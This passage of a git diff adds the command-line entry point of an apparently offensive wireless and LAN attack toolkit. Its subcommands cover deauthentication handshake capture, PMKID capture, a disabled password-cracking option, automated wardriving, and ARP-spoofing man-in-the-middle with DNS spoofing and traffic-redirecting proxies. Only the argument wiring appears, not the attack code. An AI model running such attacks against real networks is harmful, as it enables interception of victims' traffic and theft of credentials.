APs with clients connected') + parser_scan.set_defaults(function=scan.start) + + # Option for the deauthentication attack module + parser_deauth = subparsers.add_parser('deauth', help='Attempt to capture 4-way handshake given a BSSID') + parser_deauth.add_argument('bssid', help='target BSSID') + parser_deauth.set_defaults(function=capture.start_deauth) + + # Option for the PMKID client-less attack module + parser_pmkid = subparsers.add_parser('pmkid', help='Attempt to capture PMKID keys of all available access points (helps to scan more APs)') + parser_pmkid.set_defaults(function=capture.start_assoc) + + # Option for the crack module + #parser_crack = subparsers.add_parser('crack', help='Dictionary attack to attempt to crack the PSK') + #parser_crack.add_argument('file', help='Path to the target .hccapx or .pcap file') + #parser_crack.add_argument('-e', '--email', help='Valid email to send results') + #parser_crack.set_defaults(function=crack.start) + + # Option for the wardrive module + parser_automata = subparsers.add_parser('automata', help='Automated smart wardrive session, powered by reinforcement learning') + parser_automata.set_defaults(function=automata.start) + + # Option for the spoof/MiTM module + parser_spoof = subparsers.add_parser('spoof', help='Man in the Middle attack with ARP spoofing') + subparser_spoof = parser_spoof.add_subparsers(help='Commands for the Man in the Middle attack vector') + + parser_spoof_scan = subparser_spoof.add_parser('scan', help='Scan and display the hosts of the local network') + parser_spoof_scan.set_defaults(function=spoof.start_scan) + + parser_spoof_spy = subparser_spoof.add_parser('spy', help='Start the ARP spoofing and sniff the victims traffic') + parser_spoof_spy.add_argument('target', help='Target IP address to spoof and sniff its traffic (* to attack the whole subnet)') + parser_spoof_spy.add_argument('-p', '--proxies', action='store_true', help='Deploy HTTP and HTTPS proxies to redirect victims traffic') + parser_spoof_spy.add_argument('-d', '--dns', action='store_true', help='Spoof DNS queries to redirect to the custom addresses (dns.spoof.hosts file)') + parser_spoof_spy.set_defaults(function=spoof.start_spy) + + args = parser.parse_args() + print(args.function(args)) + + +if __name__ == '__main__': + start() diff --git a/wifi_whitelist.txt b/wifi_whitelist.txt new file mode 100644 index 0000000..e69de29